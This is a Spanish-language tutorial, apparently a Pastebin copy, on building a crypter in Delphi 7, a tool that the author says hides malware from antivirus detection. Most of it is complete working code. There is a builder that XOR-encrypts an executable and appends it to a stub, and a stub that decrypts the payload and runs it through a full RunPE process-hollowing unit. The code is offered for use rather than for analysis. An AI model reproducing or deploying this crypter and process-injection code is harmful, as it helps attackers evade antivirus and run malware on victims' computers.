Advertisement
Doddy

[Delphi] Creacion de un Crypter

Apr 3rd, 2015
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.83 KB | None | 0 0
  1. [Titulo] : Creacion de un Server Builder con recursos
  2. [Lenguaje] : Delphi
  3. [Autor] : Doddy Hackman
  4.  
  5. [Temario]
  6.  
  7. -- =================--------
  8.  
  9. 0x01 : Introduccion
  10. 0x02 : Creacion del Builder
  11. 0x03 : Creacion del Stub
  12. 0x04 : Probando el Crypter
  13. 0x05 : Creditos
  14.  
  15. -- =================--------
  16.  
  17. 0x01 : Introduccion
  18.  
  19. Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
  20. Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
  21.  
  22. Empecemos ...
  23.  
  24. 0x02 : Creacion del Builder
  25.  
  26. Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
  27.  
  28. [img]http://doddyhackman.webcindario.com/images/crypter_1.jpg[/img]
  29.  
  30. Despues agregamos los siguientes elementos al formulario :
  31.  
  32. * 1 Edit (En Standard)
  33. * 2 Botones (En Standard)
  34. * 1 OpenDialog (En Dialogs)
  35.  
  36. El Edit contendra la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo boton para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
  37.  
  38. Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"
  39.  
  40. Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".
  41.  
  42. El formulario les deberia quedar asi :
  43.  
  44. [img]http://doddyhackman.webcindario.com/images/crypter_2.jpg[/img]
  45.  
  46. Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :
  47.  
  48. [code]
  49. procedure TForm1.Button1Click(Sender: TObject);
  50. begin
  51. if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  52. // del archivo a encriptar
  53. begin
  54. Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
  55. // la ruta del archivo marcado en el openDialog1
  56. end;
  57. end;
  58. [/code]
  59.  
  60. Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :
  61.  
  62. [code]
  63. procedure TForm1.Button2Click(Sender: TObject);
  64. var
  65. codigo: string; // Declaramos la variable "codigo" como string
  66. key: integer; // Declaramos la variable "key" como integer
  67. separador: string; // Declaramos la variable "separador" como string
  68. linea: string; // Declaramos la variable "linea" como string
  69. begin
  70.  
  71. separador := '-barra-';
  72. // Establecemos el valor que tendra la variable "separador"
  73. key := 123; // Establecemos el valor de la variable "key" como 123
  74.  
  75. codigo := xor_now(leer_archivo(Edit1.Text), key);
  76. // Leemos el archivo que hay en
  77. // la caja de texto y encriptamos con XOR el contenido usando una key
  78.  
  79. CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
  80. Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  81. // Copiamos el stub.exe con el nombre de done.exe
  82.  
  83. linea := separador + codigo + separador + IntToStr(key) + separador;
  84. // Establecemos
  85. // la variable "linea" con el valor de contenido del archivo encriptado con
  86. // XOR y la key del cifrado XOR
  87.  
  88. escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  89. // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  90. // tambien ponemos el valor de la variable "linea"
  91.  
  92. ShowMessage('Done');
  93.  
  94. end;
  95. [/code]
  96.  
  97. El codigo les deberia quedar algo asi :
  98.  
  99. [img]http://doddyhackman.webcindario.com/images/crypter_3.jpg[/img]
  100.  
  101. Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :
  102.  
  103. [img]http://doddyhackman.webcindario.com/images/crypter_4.jpg[/img]
  104.  
  105. Una vez creada pongan el siguiente codigo :
  106.  
  107. [code]
  108. // Unit : Tools for Crypter
  109. // Coded By Doddy Hackman in the year 2015
  110. // Credits : Based on OP Crypter By Xash
  111. // Thanks to Xash
  112.  
  113. unit tools;
  114.  
  115. interface
  116.  
  117. uses SysUtils, Windows;
  118.  
  119. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  120. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  121.  
  122. function leer_archivo(archivo_a_leer: String): AnsiString;
  123. function xor_now(texto: string; clave: integer): string;
  124.  
  125. implementation
  126.  
  127. function xor_now(texto: string; clave: integer): string;
  128. var
  129. numero: integer; // Establecemos la variable "numero" como integer
  130. contenido: string; // Establecemos la variable "contenido" como string
  131. begin
  132. contenido := ''; // Vaciamos el contenido de la variable "contenido"
  133. for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  134. // la longitud de la variable "texto"
  135. begin
  136. contenido := contenido + Char(integer(texto[numero]) xor clave);
  137. // Encriptamos los datos
  138. // con XOR
  139. end;
  140. Result := contenido; // Devolvemos el resultado de la funcion como el valor
  141. // de la variable "contenido"
  142. end;
  143.  
  144. function leer_archivo(archivo_a_leer: String): AnsiString;
  145. var
  146. archivo: File; // Declaramos la variable "archivo" como File
  147. tipo: Byte; // Declaramos la variable "tipo" como Byte
  148. begin
  149. tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  150. try
  151. FileMode := 0; // Establecemos como "0" el FileMode
  152. AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  153. {$I-}
  154. Reset(archivo, 1); // Leemos el archivo desde la primera linea
  155. {$I+}
  156. if IoResult = 0 then // Si IoResult es 0 ...
  157. try
  158. SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  159. // variable "Result" como la longitud del archivo
  160. if Length(Result) > 0 then
  161. // Si la longitud del resultado es mayor a 0 ...
  162. begin
  163. {$I-}
  164. BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  165. {$I+}
  166. if IoResult <> 0 then // Si es distinto a 0 ..
  167. Result := '';
  168. end;
  169. finally
  170. CloseFile(archivo); // Cerramos el archivo
  171. end;
  172. finally
  173. FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  174. end;
  175. end;
  176.  
  177. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  178.  
  179. var
  180. contenido: string; // Declaramos la variable "contenido" como string
  181. limite: integer; // Declaramos la variable "limite" como integer
  182. dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  183. dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  184. dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  185. dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  186. control1: integer; // Declaramos la variable "control1" como integer
  187. control2: integer; // Declaramos la variable "control2" como integer
  188. suma: integer; // Declaramos la variable "suma" como integer
  189. numero: integer; // Declaramos la variable "numero" como integer
  190. suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  191. suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  192. suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  193. suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  194. resultado: string; // Declaramos la variable "resultado" como string
  195. contenido_final: string;
  196. // Declaramos la variable "contenido_final" como string
  197. begin
  198.  
  199. if (FileExists(archivo)) then // Si existe el archivo ...
  200. begin
  201. contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  202. // en la variable "contenido"
  203.  
  204. suma_inicial_1 := Length(delimitador1);
  205. // Calculamos la longitud de la variable
  206. // "delimitador1"
  207.  
  208. suma_inicial_2 := Length(contenido);
  209. // Calculamos la longitud de la variable
  210. // "contenido"
  211.  
  212. suma := Pos(delimitador1, contenido) + suma_inicial_1;
  213. // Calculamos la posicion del
  214. // "delimitador" en la variable "contenido"
  215.  
  216. dividiendo := suma_inicial_2 - suma;
  217. // Restamos las variables "suma_inicial_2"
  218. // y "suma"
  219. dividiendo2 := suma_inicial_2 - dividiendo;
  220. // Restamos las variables "suma_inicial_2"
  221. // y "dividiendo"
  222.  
  223. contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  224. // Copiamos las variables y las guardmamos en "contenido"
  225.  
  226. suma_casi_1 := Pos(delimitador1, contenido);
  227. // Calculamos la posicion de "delimitador1"
  228. // en la variable "contenido"
  229. suma_casi_2 := suma_casi_1 + suma_inicial_1;
  230. // Sumamos las variables "suma_casi_1"
  231. // y "suma_inicial_1"
  232.  
  233. control1 := Pos(delimitador2, contenido) - suma_casi_2;
  234. // Calculamos la posicion
  235. // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  236.  
  237. control2 := control1 - 1; // Restamos en uno la variable "control1"
  238.  
  239. for numero := 0 to control2 do
  240. // Realizamos un for usando desde 0 hasta el valor
  241. // de la variable "control2"
  242. begin
  243. dividiendo3 := suma_inicial_1 + numero;
  244. // Sumamos la variables varibles "suma_inicial_1"
  245. // y "numero"
  246. dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  247. // Calculamos la posicion de "delimitador1" en la variable
  248. // "contenido"
  249. contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  250. // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  251. // "contenido"
  252. resultado := resultado + contenido_final;
  253. // Sumamos las variables "resultado" y
  254. // "contenido_final"
  255. end;
  256.  
  257. if resultado = '' then // Si la variable "resultado" esta vacia ...
  258. begin
  259. resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  260. end
  261. else
  262. begin
  263. Result := resultado; // De lo contrario mostramos el contenido de la
  264. // variable "resultado" en resultado de la funcion
  265. end;
  266. end
  267. else
  268. begin
  269. Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  270. // la funcion
  271. end;
  272. end;
  273.  
  274. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  275. var
  276. abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  277. // TextFile
  278. begin
  279. if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  280. begin
  281. AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  282. // "ruta"
  283. Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  284. // "abriendo_archivo"
  285. try
  286. begin
  287. WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  288. // Escribimos los datos
  289. // de las variables "delimitador1,"texto","delimitador2"
  290. end
  291. finally
  292. begin
  293. CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  294. // "abriendo_archivo"
  295. end;
  296. Result := True; // Devolvemos "True" como resultado de la funcion
  297. end;
  298. end
  299. else
  300. begin
  301. Result := False; // De lo contrario devolvemos "False" como resultado de la
  302. // funcion
  303. end;
  304.  
  305. end;
  306.  
  307. end.
  308.  
  309. // The End ?
  310. [/code]
  311.  
  312. Y para terminar la Unit guardenla con el nombre de "tools".
  313.  
  314. Les deberia quedar algo asi :
  315.  
  316. [img]http://doddyhackman.webcindario.com/images/crypter_5.jpg[/img]
  317.  
  318. Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :
  319.  
  320. [code]
  321. uses
  322. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  323. Dialogs, StdCtrls,tools;
  324. [/code]
  325.  
  326. Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.
  327.  
  328. 0x03 : Creacion del Stub
  329.  
  330. Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :
  331.  
  332. [img]http://doddyhackman.webcindario.com/images/crypter_6.jpg[/img]
  333.  
  334. [img]http://doddyhackman.webcindario.com/images/crypter_7.jpg[/img]
  335.  
  336. Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
  337.  
  338. [img]http://doddyhackman.webcindario.com/images/crypter_4.jpg[/img]
  339.  
  340. Una vez creado ponemos el siguiente codigo :
  341.  
  342. [code]
  343. { uExecFromMem
  344.  
  345. Author: steve10120
  346. Description: Run an executable from another's memory.
  347. Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  348. Reference: http://www.security.org.sg/code/loadexe.html
  349. Release Date: 26th August 2009
  350. Website: http://ic0de.org
  351. History: First try
  352.  
  353. Additions by testest 15th July 2010:
  354. - Parameter support
  355. - Win7 x64 support
  356. }
  357.  
  358. unit uExecFromMem;
  359.  
  360. interface
  361.  
  362. uses Windows;
  363.  
  364. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  365.  
  366. implementation
  367.  
  368. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  369.  
  370. type
  371. PImageBaseRelocation = ^TImageBaseRelocation;
  372. TImageBaseRelocation = packed record
  373. VirtualAddress: DWORD;
  374. SizeOfBlock: DWORD;
  375. end;
  376.  
  377. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  378. var
  379. l_i: Cardinal;
  380. l_codebase: Pointer;
  381. l_relocation: PImageBaseRelocation;
  382. l_dest: Pointer;
  383. l_relInfo: ^Word;
  384. l_patchAddrHL: ^DWord;
  385. l_type, l_offset: integer;
  386. begin
  387. l_codebase := f_module;
  388. if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  389. begin
  390. l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  391. while l_relocation.VirtualAddress > 0 do
  392. begin
  393. l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  394. l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  395. for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  396. begin
  397. l_type := (l_relInfo^ shr 12);
  398. l_offset := l_relInfo^ and $FFF;
  399. if l_type = 3 then
  400. begin
  401. l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  402. l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  403. end;
  404. inc(l_relInfo);
  405. end;
  406. l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  407. end;
  408. end;
  409. end;
  410.  
  411. function AlignImage(pImage:Pointer):Pointer;
  412. var
  413. IDH: PImageDosHeader;
  414. INH: PImageNtHeaders;
  415. ISH: PImageSectionHeader;
  416. i: WORD;
  417. begin
  418. IDH := pImage;
  419. INH := Pointer(Integer(pImage) + IDH^._lfanew);
  420. GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  421. ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  422. CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  423. for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  424. begin
  425. ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  426. CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  427. end;
  428. end;
  429.  
  430. function Get4ByteAlignedContext(var Base: PContext): PContext;
  431. begin
  432. Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  433. Result := Base;
  434. if Base <> nil then
  435. while ((DWORD(Result) mod 4) <> 0) do
  436. Result := Pointer(DWORD(Result) + 1);
  437. end;
  438.  
  439. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  440. var
  441. PI: TProcessInformation;
  442. SI: TStartupInfo;
  443. CT: PContext;
  444. CTBase: PContext;
  445. IDH: PImageDosHeader;
  446. INH: PImageNtHeaders;
  447. dwImageBase: DWORD;
  448. pModule: Pointer;
  449. dwNull: DWORD;
  450. begin
  451. if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  452.  
  453. Result := 0;
  454. IDH := pFile;
  455. if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  456. begin
  457. INH := Pointer(Integer(pFile) + IDH^._lfanew);
  458. if INH^.Signature = IMAGE_NT_SIGNATURE then
  459. begin
  460. FillChar(SI, SizeOf(TStartupInfo), #0);
  461. FillChar(PI, SizeOf(TProcessInformation), #0);
  462. SI.cb := SizeOf(TStartupInfo);
  463. if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  464. begin
  465. CT := Get4ByteAlignedContext(CTBase);
  466. if CT <> nil then
  467. begin
  468. CT.ContextFlags := CONTEXT_FULL;
  469. if GetThreadContext(PI.hThread, CT^) then
  470. begin
  471. ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  472. if dwImageBase = INH^.OptionalHeader.ImageBase then
  473. begin
  474. if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  475. pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  476. else
  477. pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  478. end
  479. else
  480. pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  481. if pModule <> nil then
  482. begin
  483. pFile := AlignImage(pFile);
  484. if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  485. begin
  486. PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  487. INH^.OptionalHeader.ImageBase := DWORD(pModule);
  488. CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  489. end;
  490. WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  491. WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  492. CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  493. SetThreadContext(PI.hThread, CT^);
  494. ResumeThread(PI.hThread);
  495. Result := PI.hThread;
  496. end;
  497. end;
  498. VirtualFree(CTBase, 0, MEM_RELEASE);
  499. end;
  500. if Result = 0 then
  501. TerminateProcess(PI.hProcess, 0);
  502. end;
  503. end;
  504. end;
  505. end;
  506.  
  507. end.
  508. [/code]
  509.  
  510. Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :
  511.  
  512. [img]http://doddyhackman.webcindario.com/images/crypter_8.jpg[/img]
  513.  
  514. Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :
  515.  
  516. [code]
  517. uses
  518. SysUtils, StrUtils, Windows, uExecFromMem, tools;
  519. [/code]
  520.  
  521. Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.
  522.  
  523. Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.
  524.  
  525. El codigo :
  526.  
  527. [code]
  528. type
  529. otro_array = array of string;
  530. // Declaramos el tipo "otro_array" como array of string
  531. [/code]
  532.  
  533. Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.
  534.  
  535. El codigo :
  536.  
  537. [code]
  538. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  539. // Thanks to ecfisa for the help
  540. var
  541. numero1: integer; // Declaramos la variable "numero1" como integer
  542. numero2: integer; // Declaramos la variable "numero2" como integer
  543. begin
  544. texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  545. numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  546. // la variable "texto"
  547. numero1 := 1; // Establecemos la variable "numero1" como "1"
  548. while numero1 <= numero2 do
  549. // Mientras "numero1" sea menor o igual a "numero2" ...
  550. begin
  551. SetLength(resultado, Length(resultado) + 1);
  552. // Establecemos la longitud de resultado
  553. // a la longitud de la variable "resultado" mas "1"
  554. resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  555. // Establecemos la variable "resultado" como la copia de las variables "texto",
  556. // "numero1" y la resta de las variables "numero2" y "numero1"
  557. numero1 := numero2 + Length(separador);
  558. // Establecemos la variable "numero1" como
  559. // la suma de la variable "numero2" y la longitud de ña variable "separador"
  560. numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  561. // "separador" en el variable "texto"
  562. end;
  563. end;
  564. [/code]
  565.  
  566. Ahora agregamos el siguiente codigo entre el begin principal.
  567.  
  568. El codigo :
  569.  
  570. [code]
  571. var
  572. todo: string; // Declaramos la variable "todo" como string
  573. codigo: string; // Declaramos la variable "codigo" como string
  574. key: string; // Declaramos la variable "key" como string
  575. datos: otro_array; // Declaramos la variable "datos" como otro_array
  576.  
  577. begin
  578.  
  579. todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  580. // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  581.  
  582. regex2(todo, '-barra-', datos);
  583. // Separamos los delimitadores que estan separados
  584. // por "-barra-" en la variable "todo"
  585.  
  586. key := datos[2];
  587. // Establecemos como "key" la segunda posicion del array "datos"
  588. codigo := datos[1];
  589. // Establecemos como "codigo" la primera posicion del array
  590. // "datos"
  591.  
  592. codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  593. // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  594. // guardamos en la variable "codigo"
  595.  
  596. ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  597. // Ejecutamos el codig en memoria
  598. // usando la funcion "ExecuteFromMem"
  599.  
  600. end.
  601. [/code]
  602.  
  603. Una imagen de como deberia quedarles el codigo :
  604.  
  605. [img]http://doddyhackman.webcindario.com/images/crypter_9.jpg[/img]
  606.  
  607. Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.
  608.  
  609. 0x04 : Probando el Crypter
  610.  
  611. Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.
  612.  
  613. Unas imagenes :
  614.  
  615. [img]http://doddyhackman.webcindario.com/images/crypter_10.jpg[/img]
  616.  
  617. [img]http://doddyhackman.webcindario.com/images/crypter_11.jpg[/img]
  618.  
  619. [img]http://doddyhackman.webcindario.com/images/crypter_12.jpg[/img]
  620.  
  621. [img]http://doddyhackman.webcindario.com/images/crypter_10.jpg[/img]
  622.  
  623. Con ven el Crypter funciona correctamente.
  624.  
  625. 0x05 : Creditos
  626.  
  627. [URL=http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/opcrypterbyxash]OP Crypter by Xash[/URL].
  628. [URL=https://sites.google.com/site/delphibasics/home/delphibasicssnippets/uexecfrommembysteve10120-fixedforwin7x64bytestest]uExecFromMem by steve10120 - fixed for Win7x64 by testest[/URL].
  629.  
  630. Eso seria todo.
  631.  
  632. --========--
  633. The End ?
  634. --========--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement